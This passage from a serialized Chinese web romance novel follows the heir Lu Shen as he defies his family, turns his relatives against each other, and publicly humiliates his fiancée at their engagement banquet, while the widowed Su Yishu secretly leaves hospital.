然而还没等医生冲进来,苏亦姝眼前的世界便开始天旋地转,在极致的愤怒与剧痛的交织下,她眼前一黑,再次陷入了深重的昏迷。
“苏亦姝!”
陆慎站在重症监护室外,隔着那层冰冷的玻璃,凝视着病床上那个再次陷入沉睡的身影。
他的指尖还残留着她刚才挣扎时的余温,可耳畔回荡的全是她决绝的“滚”字。
直到医生反复确认苏亦姝只是因为情绪激动导致的暂时性昏迷,身体并无大碍后,陆慎那凝固的背影才微微松动。
“看好她。”陆慎侧过头,对守在门口的几名精锐保镖冷冷下令。
“除了我,不准任何人靠近。尤其是——苏家和陆家的人。”
“是,三爷。”
陆慎转身走向电梯,周身那股阴鸷的气息随着每一步的迈出而愈发浓郁。
陆家老宅,深夜。
书房内,檀香袅袅,却压不住那股剑拔**张的压抑感。
陆老爷子端坐在主位上,手中的核桃转得极快。这两天,他给陆慎打了无数个电话,得到的全是冷冰冰的挂断。
当陆慎推开书房大门时,老爷子猛地拍案而起。
“你还知道回来!”
老爷子气得胡须颤抖,指着陆慎的鼻子呵斥道,“在医院待了两天两夜,丢下千亿的并购案不顾,就为了守着一个寡嫂?陆慎,你知不知道现在外面怎么传你!”
陆慎神色冷淡地拉开椅子坐下,随手解开衬衫领口的扣子,姿态肆意。
“传我什么?传我重情重义,还是传我陆慎看上哥哥的妻子了?”
“混账!”老爷子怒极反笑。
“她是你的嫂子!这是刻在陆家族谱上的事实,你就算再疯,也得给我守住底线!否则,一旦传出这种败坏门风的丑闻,不仅是你的位置保不住,整个擎天的利益都会受损。”
老爷子走到陆慎面前,眼神变得狠戾而阴沉。
“我警告你,收敛你的心思。陆家能给你这一切,也能收回。如果苏亦姝成了毁掉陆家的变数,我不介意亲自动手,彻底毁了她。”
第六十七章 舅辈之威?不过是丧家之犬
陆慎紧绷着脸,下颌线清晰又凌厉。握着扶手的手指猛地收紧,眼底深处掠过一抹毁灭性的暗芒。
他想起那段消失的监控,想起那个指向老宅的电话。
老头子、程丽梅、甚至是二房……这屋檐下的每一个人都有嫌疑。
他现在不能动,一旦彻底撕破脸,那些躲在暗处的毒蛇会变本加厉地咬向苏亦姝。
“毁了她?”陆慎缓缓起身,个头高出老爷子半个头,阴影将老人笼罩,语气森然。
“你可以试试。只要她少一根头发,我就让整个陆家给她陪葬。”
“你……”老爷子气得心口疼,半晌才缓过气来,生硬地转了话题。
“明天是你和西双的订婚宴,江城有头有脸的人都会到场。这是给外界的一个交代,也是对苏亦姝的一种保护。只要你订了婚,别人的目光自然会从她身上移开。”
“订婚?”陆慎发出一声轻蔑的嘲讽,“赵西双那种货色,也配?”
“配不配,你都得去!”老爷子死死盯着他,亮出了最后的底牌。
“如果你明天不出现在宴会厅,我保证,苏亦姝这辈子都别想走出那间病房。不仅是她,还有那个躺在隔壁的方思荷,她们的命,都在你一念之间。”
书房里陷入了死一般的寂静。
陆慎盯着老爷子那张苍老却精明的脸,半晌,他忽然勾起嘴角,露出一抹残忍的弧度。
“好,我去。”
他答应得太快,反而让老爷子愣了一下。
陆慎理了理袖口,眼神冰冷又讥诮地一般扫过书房的每一个角落。
“明天的订婚宴,我会准时出席。”
说完,他头也不回地走出书房。
走廊里,周轩正等在暗处。
“查得怎么样?”陆慎低声问道,声音冷得不带一丝人气。
“陆总,老宅座机在那段时间的通话记录被抹除了。但我们的人发现,程丽梅在那晚之前,私下见过苏振东。”
周轩压低声音,“另外,老爷子身边的管家,那晚出过一趟远门。”
陆慎眼神闪烁。程丽梅的嫌疑最大,但老爷子的态度也极其反常。
“不急。”陆慎看着指尖的一点红痕,那是苏亦姝哭泣时抓出来的。
“既然他们想看戏,那我就陪他们演。明天订婚宴,把我们手里那份关于赵家‘偷梁换柱’的账本准备好。”
让他出席明天的订婚宴,那他出席就是,只是这代价,就怕你们承受不起!
陆慎离开后,书房内的檀香即便再浓郁,也掩盖不住空气中紧绷的杀机。
陆老爷子重新坐回太师椅上,手里的核桃转得飞快,苍老的眼中满是浑浊而精明的光。
他不相信陆慎会这么轻易妥协,那个孩子是他一手看着长大的,骨子里流着陆家最冷、最疯的血。
“老刘。”老爷子低唤一声。
管家从暗影处走出,躬身应道:“老爷。”
“加派人手,盯着阿慎。医院那边也给我围死,除了医生,一只苍蝇也不准飞进苏亦姝的病房。”
老爷子语带警告,“明天订婚宴结束前,绝不能出任何纰漏。如果阿慎想玩什么调虎离山,直接把医院那边的人扣下。”
“是。”
此时,陆家程丽梅的偏厅内,正上演着另一出闹剧。
由于陆慎这段时间疯狂打压程家的项目,甚至截断了几个核心资金链,现在的程家早已是热锅上的蚂蚁。
程其训带着儿子程瑞,正一把鼻涕一把泪地坐在程丽梅对面。
“小妹,你这次一定要救救大哥啊!”
程其训急得直拍大腿,“那几个海外项目是咱们程家的命根子,阿慎说断就断,一点活路都不给。再这样下去,公司不到下个月就得破产清算!”
程瑞也在一旁帮腔,脸色蜡黄。
“姑姑,您是陆家的主母,阿慎表哥最听您的话了。只要您开口,他肯定能松手的。程家要是倒了,您在陆家也没了娘家撑腰不是?”
程丽梅听得心烦意乱,脸色难看极了。
她手里原本还有些私房钱,可之前为了程家的事情,搭进去不少钱。再一个最近事情多,花了不少,手里早就见底了。
“我救?我怎么救?”程丽梅压低声音怒斥,“阿慎现在为了那个苏亦姝,连老头子都敢顶撞,我说话他根本不听!你们之前不该去招惹苏亦姝的!”
“那还不是为了替你出气吗!”程其训急了,语气也没了分寸,“现在出了事,你拍拍屁股想不管?”
程丽梅被堵得没话。
程瑞见状,眼珠子一转,低声说:“姑姑,听说表哥回来了,就在楼上。您带着我们去见见他,他总不能当着您的面,连他舅舅的脸都打吧?”
程丽梅本想拒绝,可看着程其训父子那副穷途末路的样子,终究是动了恻隐之心。
毕竟程家是她的根,程家倒了,她在陆家的底气确实会少一大半。
正说着,陆慎踩着皮鞋,带着一身寒气从楼上走下。
“阿慎!”程丽梅连忙起身拦住他。
程其训见状,赶紧整理了一下领带,努力摆出一副舅舅的威严长辈架势。
干咳一声道:“阿慎啊,舅舅有些生意上的事情想跟你谈谈。关于咱们两家之前那个合作……”
陆慎停下脚步,眼睑微垂,如深潭般的眸子淡淡地扫过。
只一眼,程其训原本准备好的说辞全卡在了嗓子眼里。
那眼神里没有温情,没有尊重,只有看蝼蚁般的漠然。
程其训腿肚子一转,下意识地缩到了程丽梅身后,连对视的勇气都没有
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。
陆慎冷笑一声,越过程其训,径直走向大门。
“站住!”程丽梅见陆慎完全无视他们,觉得在兄长面前丢了面子。
恼火道:“程家的事情你打算怎么处理?你非要逼死你舅舅才甘心吗?”
陆慎站定,缓缓转过身。他没有看向程其训,而是盯着程丽梅,嘴角勾起一抹残忍而玩味的笑。
“处理?”陆慎的声音在寂静的客厅里显得格外讽刺。
“舅舅,你是不是求错人了?程家之所以陷入绝境,难道不是该问问你的好妹妹吗?”
程其训一愣,一脸不解。“你这话是什么意思?”
“如果不是她在江城自作聪明,一次次挑战我的底线,甚至动了不该动的人,我怎么会想起去动程家?”
陆慎目光如炬,语气如刀,直接挑拨。
“是你的好妹妹亲手把程家推到这个境地的。她明明知道有些事情不能做,却还一直挑衅,她这是死咬着程家,要拉着整个程家陪葬。舅舅,你要算账,应该找她算。”
“你胡说什么!”程丽梅尖叫一声,气得浑身发抖。
“我是不是胡说,你心里最清楚。”
陆慎冷笑一声,看着程其训那瞬间变得狐疑且愤怒的眼神,眼底闪过讥讽。
“舅舅,之前我对程家的项目,都是给予支持的。我原本也没必要断程家项目,只是因为……”陆慎朝着程丽梅扫了眼。“她……”
说完,陆慎再没停留,大步跨出了陆家大门。
客厅内,程其训猛地转头看向程丽梅,眼神变得狠厉。
“小妹,阿慎说的是真的?你到底瞒着我做了什么,才让他这么报复程家?”
“大哥,你别听他挑拨离间!我是你妹妹!”
“妹妹?妹妹会逼得我公司走上绝路吗!会逼着自己娘家活不下去吗!”
程丽梅看着愤怒的兄长,气得胸口生疼,几乎要背过气去。
她从未想过,陆慎居然**诛心,一句话就让她在娘家也彻底失了立足之地。
车内。
陆慎靠在椅背上,闭目养神。
“查。”他冷冷开口,“那晚司机的通话记录虽然被抹了,但删除了就一定会有残留痕迹。另外,去查查管家那晚‘出远门’具体去了哪,见了谁。”
虽然刚才挑拨了程丽梅,但他很清楚,这潭水,可能比他想象中还要深。
他现在就像在走钢丝,一边要稳住老宅这边,一边要暗地里肃清所有威胁。
“陆总,方家那边……”周轩欲言又止。
“告诉方华睿,我可以让他的人守在医院,但如果方家敢趁机带走苏亦姝,就要做好方家在江城消失的代价!”
陆慎看着指尖,眼神疯狂且执着。
“她就算死,也只能死在我的怀里。”
第六十八章 乱吧,都乱起来
赵家别院,灯火通明。
赵西双刚挂断程丽梅的电话,脸上的阴霾瞬间烟消云散。
“答应了?他真的答应出席了?”
赵西双紧紧握着手机,整个人因为兴奋脸颊而泛红。
尽管程丽梅在电话里的声音听起来疲惫且压抑,甚至还带着几分对陆慎的怨气。
但对赵西双来说,只要陆慎点头出席明天的订婚宴,就意味着他在老爷子的威压下低了头。
只要他出现在宴会厅,只要戒指戴在她的手上,江城所有人都会知道,赢家是她赵西双,而不是那个躺在医院里半死不活的苏亦姝!
“把那套‘极光之吻’的礼服拿出来。”
赵西双对着镜子,拨弄着精致的卷发,眼神里满是狠戾的自得。
“明天,我要让全江城最名媛都羡慕死我。”
她站在试衣镜前,看着镜中穿着天价订制礼服的自己,仿佛已经看到了苏亦姝在病床上凄凉老去的模样。
“苏亦姝,你拿什么跟我争?阿慎终究还是我的。”
与此同时,刚从陆家老宅出来的程其训和程瑞父子,脸色阴沉得快要滴出水来。
陆慎的那些话,像是一颗毒瘤,在他们心里扎了根。
“爸,表哥说得对,要不是姑姑非要在那儿跟苏亦姝较劲,陆慎怎么会平白无故拿咱们程家开刀?”
程瑞狠狠地踹了一脚车胎,咬牙切齿道,“咱们替她挡箭,她倒好,连一分钱的周转金都不肯掏!”
程其训坐在车后座,烟头的一明一灭映照出他那张扭曲的脸。
“你姑姑老了,脑子糊涂了。她以为守着陆家那点地位就能保住咱们?陆慎那是头狼,他连亲妈的面子都不给,咱们要是再指望程丽梅,明天就得去大街上要饭!”
程其训此时心里满是怨恨。
他原本以为陆慎只是吓唬吓唬,可这两天程氏股票的跌停让他看清了,陆慎是真的要程家死。
“既然陆家不仁,就别怪咱们不义。”
程其训冷笑一声,转头看向儿子。
“你之前说,在监狱里那个洪天城,手里攥着一些‘东西’?”
程瑞眼神一亮,压低声音道:“对,洪家干的是什么事,爸你也知道。他从一些旁门左道,知道了不少的东西。之前就听他说过一些,好像是有关陆家的,有关陆慎的。如果我们能拿到那些东西,哪怕不能直接扳倒陆慎,也能让他明天的订婚宴变成丧礼!”
程其训夹着香烟的手一顿,然后嗯灭手中的烟头。
“那就去探望探望,毕竟你们之间的关系,去看看也不未过。”
江城第一监狱。
由于程家动用了最后的关照,程瑞在探监室见到了神色枯槁却眼神阴毒的洪天城。
洪天城看着面前的程瑞,发出一声令人毛骨悚然的嘶哑笑声。
“程少爷,怎么,陆慎那疯子终于开始咬你们程家了?”
“你怎么知道?天城,咱们哥两的关系,有些事情,还请你告知。否则,程家保不住了。”程瑞冷着脸,眼底带着孤注一掷,“我要陆慎的致命弱点,尤其是能让他直接被陆氏董事会**的那种。你不是吹嘘过,你手里有陆家的一些见不得光的东西吗?”
洪天城看着程瑞那恶狠狠的嘴脸,嘴角勾起一抹诡异的弧度。
他凑近防弹玻璃,压低的声音。
“你们知道陆钦当年是**的吗?所有人都以为那是意外。但我知道……在那场车祸发生的半小时前,陆慎的私人账户里,曾支出过一笔流向境外**组织的佣金。”
程瑞的瞳孔瞬间紧缩,背后的冷汗湿透了衬衫。
陆慎杀了自己的亲大哥?
“这个料,够不够让陆家明天的订婚宴见红?”洪天城嘿嘿笑着,眼神如厉鬼。
“这件事,千真万确?确定吗?”程瑞还是有些质疑。再一个,如果证据不足,也拿陆慎没办法,甚至,还会让陆慎对他们程家下手更狠。
为了程家,为了自己,他不得不小心小心再小心。
面对程瑞的质疑,洪天城那张枯槁的脸上露出一抹阴冷的笑,他并没有因为没有证据而慌乱,反而越发显得笃定。
“证据?”洪天城从喉咙里挤出一声闷响。
“程少爷,那种东西在陆三爷手里能留得住?就算是有,也早就被他销毁得一干二净了。但我可以保证,这件事在陆家老宅里不是什么绝密。只要**起来了,只要陆家那些老家伙心里扎了这根刺,陆慎的家主位置就坐不稳。”
程瑞盯着他,后背一阵阵发凉。
洪天城压低声音,阴恻恻地笑着。
“更何况,你想救程家,靠你一个人可不行。得找一个能近陆慎身,又能让他彻底乱了方寸的人。苏亦姝,就是最好的那把刀。”<
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br>一想到那个女人,洪天城心里就涌上无尽的杀意。
他洪天城,洪家,走到这一步,全都因为这个女人。
程瑞瞳孔微颤,“你要我把这个消息告诉苏亦姝?”
“没错。”洪天城嘿嘿笑着,眼神如厉鬼般可怖。
“只要她开始怀疑陆慎是杀夫仇人,这江城的天,不用你动手,陆慎自己就会把它捅出一个窟窿来。到时候,陆家内斗,你程家不就有机会喘息了吗?”
程瑞死死攥着拳头,心底那个疯狂的念头疯狂滋长。既然陆慎不给程家活路,那大家就一起下地狱!
与此同时,江城中心医院,VIP病房。
病房内,苏亦姝神色呆滞地靠在床头,右手无力地搭在身侧,左手的石膏沉重得压得她喘不过气。
阳光透过窗帘缝隙照进来,却驱不散她心头的阴霾。
脑海里全是方思荷满脸是血扑在她身上的画面,以及方家父母那苍老绝望的神情。
这种深重的负罪感,比身体上的剧痛更让她难以承受。
“咚咚。”
房门被轻轻敲开,方华睿走了进来。比起往日的温润儒雅,此时的他显得有些疲惫,眼底透着浓浓的忧色。
“亦姝,感觉好点了吗?”方华睿放下手中的白粥,声音一如既往的温柔。
苏亦姝眼眶瞬间红了,她撇过头去,声音沙哑。“方大哥……对不起。思荷她……”
“医生说,思荷已经度过了最危险的时候,醒来只是时间问题。”
方华睿坐到床边,伸手想要安慰她,却在半空停住,最后只是轻轻叹了口气。
“亦姝,方家不怪你,思荷更不会。如果是你,你也会做同样的选择,不是吗?”
这番宽慰并没能让苏亦姝好受,反而让她心里更酸涩。
“陆慎明天要订婚了。”方华睿观察着她的神色,试探着开口,“你……”
苏亦姝嘴角勾起一抹自嘲的弧度,眼神平静如死水。
“订婚就订婚吧,陆家的事,从此与我无关。我只想思荷醒过来……”她只想早点离开这个地方。
看着她这副了无生气的模样,方华睿知道,如果不给她找点活下去的支撑,她可能会真的枯萎在这病床上。
他深吸一口气,语气变得肃杀起来。
“亦姝,有些事我觉得你有权知道。这次的车祸,绝非意外。”
第六十九章 金蝉脱壳
听到“绝非意外”四个字,苏亦姝原本沉寂的眼眸中终于燃起了一丝恨意的光亮,她猛地转过头。
“查到了什么?”
方华睿压低声音,神情凝重。
“我动用了方家所有的关系网。确实查到了一点东西,在车祸前半小时,那个货车司机曾跟人联系过,对方用了加密手段,IP范围锁定了老宅,但查不到具体号码。”
苏亦姝的呼吸变得急促,手指死死攥住床单。
方华睿继续说道,“还有,事发前一天,程丽梅和苏振东在一家私人茶舍见过面,当时,赵西双也在场……”
苏亦姝的心脏像是被什么重物狠狠撞击了一下。
她脑海中飞快地梳理着关系。
程丽梅虽然恨她,甚至想毁掉她,但程丽梅是个极爱面子的人,自己名义上还是陆家的儿媳,就算再怎样也不不到杀她这一步。再说了,一旦曝光,陆家的百年名誉就毁了,程丽梅不敢冒这个险。
而苏振东,那个自私自利的亲生父亲,他只会把自己卖个好价钱,杀了她对他没好处。
只有赵西双!
那个表面温柔端庄,实则心狠手辣的女人。
只要自己**,陆慎身边的位置就彻底干净了。
而且赵西双恰好住在老宅……
“一箭双雕,好狠的手段。”
苏亦姝冷笑出声,原本呆滞的眼神此刻冷冽如刃。
她一直想避开这些纷争,可这些人,偏偏要拉着她和她唯一的挚友**!
“亦姝,你打算怎么办?”方华睿担忧地看着她。
“方大哥,”苏亦姝抬起头,眼神中透着一股破釜沉舟的决绝,“我要出院。”
“你现在的身体不能乱动!”
苏亦姝死死咬着唇,嘴角渗出一丝血迹,“死不了……而且,有些人还没处理掉,我也不会就这么轻易的死掉。”
“可是……”
“方大哥,求求你……我要出院,悄无声息地出院!”
苏亦姝的声音虽轻,却带着一股不容置喙的坚决。
她很清楚,陆慎在医院周围肯定加派了人手,若是走常规程序,她别想踏出病房半步。
除了陆慎,就怕还有其他人,也盯着她这边。
方华睿看着她眼底闪烁的寒芒,终究是点了点头:“好,我帮你。但你必须答应我,无论什么时候,都要以自己的命为重。”
傍晚。
陆慎带着一身寒露走进了住院部。
他在苏亦姝的病房门口站定,手搭在门把手上,却迟迟没有推开。
“陆总,苏小姐说她累了,不想见任何人。”守在门口的保镖低声汇报道。
陆慎隔着那一小块玻璃窗,看向里面背对着门的身影。
她蜷缩在病床上,显得那么瘦削、那么孤立无援。
他在门外站了足足半小时,指尖夹着的香烟燃尽了最后一截灰烬,才低声呢喃了一句。
“等明天……一切都会结束的。”
陆慎转身离开,他还要赶回老宅主持大局,并没有发现,病床上那个“苏亦姝”,从头到尾连呼吸的起伏都未曾改变——那是方华睿找来的身形相似的替身。
陆慎离开后没多久,方华睿便带着几名身穿白大褂、戴着严实口罩的私人医生进入了病房。
“动作轻点,她身上还有骨折,千万不能牵动伤口。”方华睿一边指挥,一边紧张地盯着走廊的监控。
苏亦姝被小心翼翼地挪到了特制的担架上。
每动一下,她的额头都渗出大颗大颗的冷汗,那是钻心剜骨的疼。
可她硬是咬着牙,一声没吭,只有那双眼睛,亮得惊人。
“送去方家在城南的那个私人疗养院,那里有整套的医疗设备,保镖也是我最信任的人。”
方华睿低声交待,“走地下运尸通道,那里的监控我刚让人干扰了。”
深夜,陆慎坐在别墅的露台上,手里摇晃着一杯烈酒。
晚风微凉,他的心口却总有一股挥之不去的不安感。
那种感觉,就像是心底最重要的一块领地正在悄然坍塌。
“周轩,去医院看一眼。”陆慎突然放下酒杯,沉声吩咐道。
“是,三爷。”
半小时后,周轩到达医院。
他并没有惊动任何人,只是悄悄推开一条门缝。借着走廊微弱的光,他看到病床上的女人侧卧着,长发散落在枕头上,呼吸平稳,似乎陷入了沉睡。
周轩退出来,拨通了陆慎的电话。“三爷,苏小姐睡得很沉,一切正常。”
电话那头,陆慎紧绷的神
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经终于松了一截:“好,看紧了。”
挂断电话的陆慎闭上眼,试图平复那种不安。
可**的是,在那间寂静的病房里,那个伪装成病人的替身正惊出一身冷汗。
而与此同时,苏亦姝已经躺在了那辆伪装成救护车的货柜车里,正驶向方家的秘密据点。
车子颠簸,苏亦姝猛地睁开眼睛,眼底一片清明,哪有半点睡意?
她太了解陆慎了。
这个男人多疑、细致、占有欲强到变态。
周轩的突击检查,早就在她的预料之中。
翌日,江城金茂大酒店。
全城最顶尖的安保力量将整座酒店围得水泄不通。
长达百米的红地毯从入口一直延伸至宴会厅,路两旁摆满了从荷兰空运而来的白玫瑰,冷冽的花香中透着一种豪门特有的奢靡感。
那是陆家和赵家联姻的盛景,也是赵西双的梦寐以求。
化妆间内。
赵西双坐在镜前,任由顶级妆造师为她描绘眉眼。
她穿着那套“极光之吻”订制婚纱,层层叠叠的真丝薄纱点缀着碎钻,在灯光下熠熠生辉,衬托得她如同一朵盛开在云端的高岭之花。
“赵小姐,您今天真美。”妆造师由衷地赞叹道,“这江城,恐怕再找不出第二个能像您这样配得上陆总的女人了。”
赵西双抚摸着指尖那枚硕大的鸽子蛋钻戒,嘴角勾起一抹志得意满的弧度。
为了这一天,她筹谋了太久。
“是啊。”赵西双看着镜中精致的自己,眼神中闪过一抹阴狠,“有些不自量力的阻碍,只要彻底清理干净了,这位置自然稳如泰山。”
赵西双的表妹王蕾蕾,一脸讨好的笑。“表姐,你今天真的太美了,这才订婚啊,要是结婚,那还不得美得那我那位表姐夫一移不开眼啊。”
“就你会说话。”赵西双脸上的表情十分享用。
等今天订婚宴一过,她有一百种方法让那个女人在江城销声匿迹。
“伯母那边安排好了吗?”赵西双转头问向助理。
“放心吧大小姐。程夫人已经在宴会厅迎宾了,陆老爷子也到了。倒是三爷……”助理犹豫了一下,“三爷从昨晚开始就一直待在偏厅,除了周轩,谁也不见。”
第七十章 订婚宴,笑话而已
宴会大厅内,水晶灯投射下的光芒将每一寸角落都照得如同白昼。
陆赵两家的联姻,几乎汇聚了江城商界的整座江山。
“陆总和赵小姐真是郎才女貌,这陆赵联姻,以后这江城的风向标,怕是彻底定死在陆家手里了。”
“可不是,就单单陆总在商场上那几手,也让我等望尘莫及啊。”
“现在赵陆两家联姻,可真是强强联手啊。”
程丽梅今日穿了一身暗红色的重工旗袍,脖子上的帝王绿翡翠坠子熠熠生辉,衬得她气色红润,喜不自胜。
她穿梭在宾客间,接受着众人的道贺,宾客们推杯换盏,言语间尽是恭维。
程丽梅听着这些话,脊梁骨都挺直了几分。
她原本还担心陆慎会在这场宴会上整出什么幺蛾子,可见他虽然面若冰霜,却到底还是站在了礼台上,心里的石头总算落了地。
“亲家母,西双往后进了陆家,还得请你多担待。”赵母笑得满脸褶子,拉着程丽梅的手不放。
“西双这孩子我打小就看着好,知书达理,跟阿慎才是真正的天作之合。”
程丽梅意有所指地笑着,眼神轻蔑地扫向医院的方向——那个丧门星,终究是翻不出风浪了。
礼台中央,赵西双提着繁复的裙摆,缓步走向陆慎。
她眼中溢满了浓烈的爱意。
为了这一刻,她等了这么多年,终于,跟自己最爱的男人站在了一起。
陆慎站在流光溢彩之下,墨色的西装将他衬得愈发清冷挺拔。
然而,他那双幽深的眸子里没有任何喜悦,反而透着一种麻木的冷寂。
他只是机械地配合着司仪的流程,直到赵西双的手试图挽上他的胳膊。
陆慎不动声色地避开,那一瞬的冷硬让赵西双的笑容僵了僵,但她很快又恢复了那副端庄自持的模样,仿佛并不在意他的冷淡。
对于这两人之间的异样,陆老爷子看在眼里,只能眼神警告陆慎,不要太过分。
陆慎嘴角扬起一抹冷笑,还真是……煞费苦心。
而此时,程其训带着程瑞,穿过层层人群走了过来。
程家现在的处境极难,陆慎先前的打压让程家资金链几近断裂,此时程其训脸上带着一种扭曲的笑,手里端着酒杯,眼神里藏着一股玉石俱焚的狠劲。
“阿慎,恭喜啊,终于要把赵小姐娶进门了。”
程其训皮笑肉不笑地开口,声音不大,却足以让周围的一圈名流听得清清楚楚。
陆慎冷淡地瞥了他一眼,没搭腔。
程其训也不尴尬,反而往前凑了一步,语气带着浓浓的阴阳怪气。
“看着你今天这风光样,我这心里啊,就不自觉想起你大哥陆钦。当初陆钦和苏家苏亦姝结婚的时候,场面也不过如此。你这订婚,都赶上了他的结婚宴会。”
听到这话,陆慎的眼眸瞬间阴沉下来。
陆钦和苏亦姝,就是一场错误!
程其训继续说着,“可惜了,天妒英才。要不是陆钦命薄死在那场车祸里,这陆家家主的位置,怕是都轮不到阿慎你来坐吧?”
此话一出,周围喧闹的寒暄声瞬间冷却了几分。
程丽梅站在一旁,脸色阵青阵白。
她恨苏亦姝,也怀念大儿子,听着兄长这话,心里又是悲恸又是气恼,却也不得不承认,陆钦若在,陆慎确实只是个被放逐在外的“疯子”。
“大哥,今天是什么日子,你提这些做什么!”程丽梅低声呵斥,眼神却有些闪躲。
赵西双挽着手包,指甲紧紧掐进掌心。
这个程其训,还真是作死,竟然在这今日这样的场合下提及陆钦!诚心来捣乱的吧。
面对这羞辱的挑衅,陆慎却忽然轻笑出声。
他慢条斯理地放下手中的酒杯,那双漆黑的眸子直勾勾地盯着程其训,笑意不达眼底,反而透着一股让人毛骨悚然的狂气。
“舅舅说得对。”陆慎整了整领带,语气散漫。
“既然舅舅这么替大哥不平,不如现在就去请示老头子,让他做主把我的继承权削了。要是能把我这身份拿掉,我也乐得自在,省得天天坐在这儿,看某些丧家之犬在我面前晃悠。”
“你……”程其训呼吸一滞,脸色瞬间涨得通红。
陆慎往前逼近一步,压低的声音唯有程家父子能听见。
“怎么?不敢?看来舅舅也就这点本事,只会在**身上找存在感。程家那几个还没断气的项目,看来你是真的不想要了。”
程瑞站在后方,眼神阴鸷。他在等,等一个能让陆慎彻底从神坛跌落的契机。
“阿慎!够了!”陆老爷子不知何时走了过来,拐杖重重地顿在地上,声音威严而压抑,“程其训,注意你的身份!”
老爷子出面,程其训只能悻悻地闭了嘴,拉着程瑞退到一旁。<
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br>“吉时到了。”司仪抹了抹额头的冷汗,赶紧走上台试图圆场,“请陆慎先生和赵西双小姐交换订婚戒指!”
礼台上,司仪的话音刚落,礼仪小姐便端着托盘款款走上。
赵西双深吸一口气,努力克制着指尖的颤抖,缓缓伸出了纤细的右手。
她凝视着陆慎,眼中满是得偿所愿的痴狂。
“阿慎……”她轻唤一声,声音甜腻得发颤。
台下,陆老爷子和程丽梅屏息凝神。
程丽梅甚至下意识地往前走了半步,小声催促道:“阿慎,快给西双戴上啊,别让大家等久了。”
陆慎垂眸扫了一眼那枚戒指,嘴角缓慢地勾起一抹弧度。
那笑容里没有半分温情,反而透着一股让人脊背发凉的嘲弄。
他伸手拿起戒指,却没有戴在赵西双指上的意思,而是当着众人的面,将那枚价值连城的戒指随意地抛回了托盘里。
陆慎的声音通过胸前的麦克风,清晰地传遍了宴会厅的每一个角落,“戴戒指?我什么时候说过,我要订婚了?”
原本喧闹的会场死寂一片。
赵西双娇羞的笑容瞬间僵硬,她不可置信地看着陆慎,声音带着几分尖锐的支离破碎。
“阿慎,你……你在开什么玩笑?今天是我们全城瞩目的订婚宴,礼服、宾客、长辈……都在这里啊!”
“开玩笑?”陆慎抬手,漫不经心地理了理袖扣,眼神如同看一堆垃圾。
“我这人从来不开玩笑。今日这出戏,不过是碍于老爷子的‘以命相搏’,我才大发慈悲来走个过场。至于结婚……”
他冷嗤一声,目光极具侮辱性地在赵西双那身洁白的礼服上扫过。
“就算我陆慎真的要结婚,也绝不会找你这么个满腹算计、手段腌臜的玩意儿来晦气自己。”
“陆慎!你混账!”陆老爷子气得浑身发抖,拐杖重重敲击地板,发出剧烈的声响,“你知不知道你在说什么!”
赵老爷子更是老脸丢尽,指着陆慎,手指颤抖。
“陆慎!你当我们赵家是什么?你竟敢在大庭广众之下如此羞辱我的孙女!”
面对两位老爷子的雷霆大怒,陆慎连眉毛都没动一下。
他双手插兜,那副不可一世的模样简直嚣张到了极点。
“羞辱?”陆慎斜睨了赵老爷子一眼,“这算什么羞辱?真正精彩的,才刚开始。”
第七十一章 陆慎,你毁了我
就在这时,宴会大厅原本紧闭的侧门被人推开,一个满面愤恨的年轻男**步冲了进来。
“赵西双!你这个**不眨眼的魔鬼!”
此人正是赵冬藏在外面多年的私生子——赵辰。
他身后还跟着几个保镖,手里拿着一叠叠被放大的照片和录音资料。
赵辰径直冲到礼台前,将那些不堪入目的证据狠狠甩在赵西双脸上。
“大家快看看,这就是你们口中知书达理的赵大小姐!”
赵辰声泪俱下地控诉,“为了争夺家产,她逼死我重病的母亲,甚至在我母亲的氧气管上动手脚!这些年,她背地里欺压、恐吓我们母子,甚至派**要我的命!赵西双,你这副皮囊下藏的是一颗蛇蝎心肠!”
宴会厅瞬间炸开了锅。
大屏幕上原本播放的“恩爱视频”骤然切换,变成了一段赵西双面目狰狞地扇打赵辰母亲的监控画面,以及一张张带血的威胁信。
原本端庄优雅的赵西双,在那一刻仿佛被人剥光了丢在冰天雪地里。
“不……不是这样的!这是污蔑!阿慎,你帮帮我!”赵西双绝望地去抓陆慎的衣角。
陆慎嫌恶地避开,顺势接过赵辰递来的一份资料,冷笑着递到了赵冬面前。
赵父赵冬接过一看,上面全是赵西双如何瞒着他挪用赵氏**、甚至在赵氏项目里中饱私囊的证据。
赵冬这辈子最恨背叛,尤其是他一直引以为傲的女儿。
“啪!”
一声清脆的耳光响彻会场。
赵冬气得老脸涨红,颤抖着手指着赵西双。
“你这个孽障!我赵冬怎么会生出你这么个恶毒又虚伪的东西!滚!给我滚出赵家!”
赵西双捂着脸倒在地上,华丽的礼服沾满了倾倒的香槟,狼狈不堪。
陆慎冷眼看着这一切,嘴角噙着残忍的笑意,转头看向震惊得说不出话的程丽梅和陆老爷子。
“看清楚了吗?”
陆慎一字一顿,声音冷冽如冰:
“这样双手沾满鲜血、连至亲都能残害的人,恐怕不适合进我陆家的门。否则,哪天这祸水引到了陆家头上,诸位……可不一定有她这么好的运气,还能留一条命。”
“陆慎……你……”程丽梅被这一连串的变故惊得险些晕倒。
赵西双瘫坐在冰冷的地板上,精心打理的发丝凌乱地贴在颊边,那一身价值连城的“极光之吻”礼服此时沾满了香槟与灰尘,狼狈得像是个滑稽的笑话。
周围那些曾经对她极尽讨好的名媛贵妇们,此刻纷纷掩面后退,眼神里的嫌恶如同潮水般将她淹没。
她颤抖着抬头,看向那个始终高高在上的男人,支撑着身体缓缓站起来。
“阿慎……”赵西双突然笑了起来,凄厉的笑声在死寂的宴会厅里回荡,眼角流下的泪水冲花了精致的妆容。
“是你吧?如果不是你放行,赵辰根本进不来。如果不是你授意,他手上怎么会有那些东西……”
她摇晃着站起身,指甲深深陷入掌心,满脸绝望与不甘。
“你怎么能对我这么狠?这些年,我为了能站在你身边,付出了多少?就因为我爱你,你就一定要亲手毁了我吗?”
不远处,顾从之和陈淮看着这一幕,神色各异。
陈淮轻叹一声,压低声音道:“阿慎这手,是不是真的太绝了些?赵西双这辈子算是彻底毁了。”
“狠?”顾从之冷嗤一声,目光清冷。
“你要是知道她在赵家那个**不吐骨头的深宅大院里,是怎么把一些旁系逼疯、把竞争对手一个个悄无声息处理掉的,你就知道阿慎这叫以其人之道还治其人之身。这个女人,远比你看到的要狠毒百倍。”
陈淮悻悻然地闭了嘴,不再言语。
这些,他也是略有耳闻。再说了,他只是感慨一句,并不是真的同情赵西双。
陆慎站在礼台上,居高临下地俯视着她,眼眸里除了冰冷的厌恶,再无其他。
赵西双看着他那副恨不得自己立刻消失的眼神,心底最后一丝希冀彻底崩塌。
